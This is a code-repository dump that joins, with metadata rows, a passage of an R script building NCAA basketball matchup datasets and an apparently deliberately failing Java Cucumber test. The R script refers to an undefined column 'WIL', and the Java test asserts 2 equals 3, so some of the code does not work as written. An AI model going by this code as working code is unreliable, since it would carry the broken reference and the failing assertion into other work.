select(-c("RankingDayNum"))
# final game columns
gameCols <- c("Season", "DayNum", "TeamID", "OppTeamID", "WinLoss", "PF", "PA", "NumOT", "FGM", "FGA", "FGM3", "FGA3", "FTM", "FTA",
"OR", "DR", "Ast", "TO", "Stl", "Blk", "Fouls")
# game stats for winning team
gameWinner <- fMRegularSeasonDetailedResults %>%
select("Season", "DayNum", "WTeamID", "LTeamID", "WScore", "LScore", "NumOT", "WFGM", "WFGA", "WFGM3", "WFGA3",
"WFTM", "WFTA", "WOR", "WDR", "WAst", "WTO", "WStl", "WBlk", "WPF") %>%
add_column(WinLoss = 1, .before = "WScore")
colnames(gameWinner) <- gameCols
# game stats for losing team
gameLoser <- fMRegularSeasonDetailedResults %>%
select("Season", "DayNum", "LTeamID", "WTeamID", "LScore", "WScore", "NumOT", "LFGM", "LFGA", "LFGM3", "LFGA3",
"LFTM", "LFTA", "LOR", "LDR", "LAst", "LTO", "LStl", "LBlk", "LPF") %>%
add_column(WinLoss = 0, .before = "LScore")
colnames(gameLoser) <- gameCols
# Combine Win and Loss
games <- bind_rows(gameWinner, gameLoser)
gameDetails <- left_join(TeamsConferences, games, by = c("TeamID" = "TeamID")) %>%
mutate(DayNum = DayNum - dayADJ) %>%
mutate(WeekNum = ceiling(DayNum/7)) %>%
move_columns(WeekNum, .before = DayNum)
seasonStats2021 <- gameDetails %>%
group_by(TeamID, TeamName, Description, PowerFive) %>%
summarise(Wins = sum(WinLoss == 1),
Loss = sum(WinLoss == 0),
PF = mean(PF),
PA = mean(PA),
FGPct = sum(FGM)/sum(FGA)*100,
FGM = sum(FGM),
FGA = sum(FGA),
FG3Pct = sum(FGM3)/sum(FGA3)*100,
FGM3 = sum(FGM3),
FGA3 = sum(FGA3),
FTPct = sum(FTM)/sum(FTA)*100,
FTM = sum(FTM),
FTA = sum(FTA),
Reb = mean(OR)+mean(DR),
OReb = mean(OR),
DReb = mean(DR),
Ast = mean(Ast),
TO = mean(TO),
Stl = mean(Stl),
Blk = mean(Blk))
StatsNRankings <- left_join(seasonStats2021, FinalRankings, by = c("TeamID" = "TeamID"))
# Cross Join
allPossibleMatchups <- StatsNRankings
colnames(allPossibleMatchups) <- paste("Opp", colnames(allPossibleMatchups), sep = "")
drop_cols <- c('TeamName', 'Description', 'OppTeamName', 'OppDescription')
allPossibleMatchups <- merge(StatsNRankings, allPossibleMatchups, all=TRUE)
allPossibleMatchups <- allPossibleMatchups %>%
filter(TeamID != OppTeamID) %>%
select(-drop_cols)
# aggregate stats from games played prior to that week
x <- min(gameDetails$WeekNum)
weekly_stats <- data.frame()
while (x <= max(gameDetails$WeekNum)) {
holder <- gameDetails %>%
filter(WeekNum <= x) %>%
group_by(TeamID, TeamName, Description, PowerFive, Season) %>%
summarise(WeekNum = x,
StatsWeekNum = x+1,
GP = n(),
PF = mean(PF),
PA = mean(PA),
FGPct = sum(FGM)/sum(FGA)*100,
FGM = mean(FGM),
FGA = mean(FGA),
FG3Pct = sum(FGM3)/sum(FGA3)*100,
FGM3 = mean(FGM3),
FGA3 = mean(FGA3),
FTPct = sum(FTM)/sum(FTA)*100,
FTM = mean(FTM),
FTA = mean(FTA),
Reb = mean(OR)+mean(DR),
OReb = mean(OR),
DReb = mean(DR),
Ast = mean(Ast),
TO = mean(TO),
Stl = mean(Stl),
Blk = mean(Blk))
weekly_stats <- bind_rows(weekly_stats, holder)
x = x + 1
}
weekly_statsNrank <- inner_join(weekly_stats, RankingSystems, by = c("TeamID" = "TeamID", "WeekNum" = "RankingWeekNum")) %>%
select(-c('WeekNum', 'Season'))
opp_weekly_statsNrank <- weekly_statsNrank
colnames(opp_weekly_statsNrank) <- paste("Opp", colnames(opp_weekly_statsNrank), sep = "")
# know matchups
matchups <- gameDetails %>%
select(WinLoss, WeekNum, TeamID, OppTeamID)
# Join winning team data
matchups <- inner_join(matchups, weekly_statsNrank, by = c("TeamID" = "TeamID", "WeekNum" = "StatsWeekNum")) %>%
move_columns(OppTeamID, .after = WIL)
matchups <- inner_join(matchups, opp_weekly_statsNrank, by = c("OppTeamID" = "OppTeamID", "WeekNum" = "OppStatsWeekNum")) %>%
select(-c('WeekNum'))
# write All Possible Matchups
write.table(allPossibleMatchups, file = "/Users/ethanhall/Desktop/Data/ncaam-march-mania-2021/allPossibleMatchups.csv",
row.names = FALSE, sep = ",")
# write Matchup Train/Test
write.table(matchups, file = "/Users/ethanhall/Desktop/Data/ncaam-march-mania-2021/matchupTestTrain.csv",
row.names = FALSE, sep = ",")
| 159cce6ade925ec0e4433e5c23c3816526ab618c | [
"R"
] | 1 | R | ethanhall99/ncaam-march-mania-2021 | a4b0e5c5f73389c7e28c42ee44130eeb914c888b | 79c4d71c76607a3a0c11f6decfbf69b30bdafc06 |
refs/heads/master | <repo_name>sofisoftfix/cucumber_Maven_reports<file_sep>/src/test/java/scenarios/stepdefinitions/HolaMundoFallandoStepDefinition.java
package scenarios.stepdefinitions;
import cucumber.api.java.en.Then;
import cucumber.api.java.en.When;
import static org.junit.Assert.assertEquals;
public class HolaMundoFallandoStepDefinition {
private String holaMundo;
@When("Yo digo hola al mundo")
public void yo_digo_hola_al_mundo() {
holaMundo = "Hola Mundo";
}
@Then("Yo deberia ver")
public void yo_deberia_ver() {
assertEquals(2,3);
}
}
| 19c13a059a1fb7c89feded74786c33632df40638 | [
"Java"
] | 1 | Java | sofisoftfix/cucumber_Maven_reports | 0d580a88a52202c03a89c658d0d18ab3b37b186d | 573d070947b52319db432eb4d38ce760557f8df6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.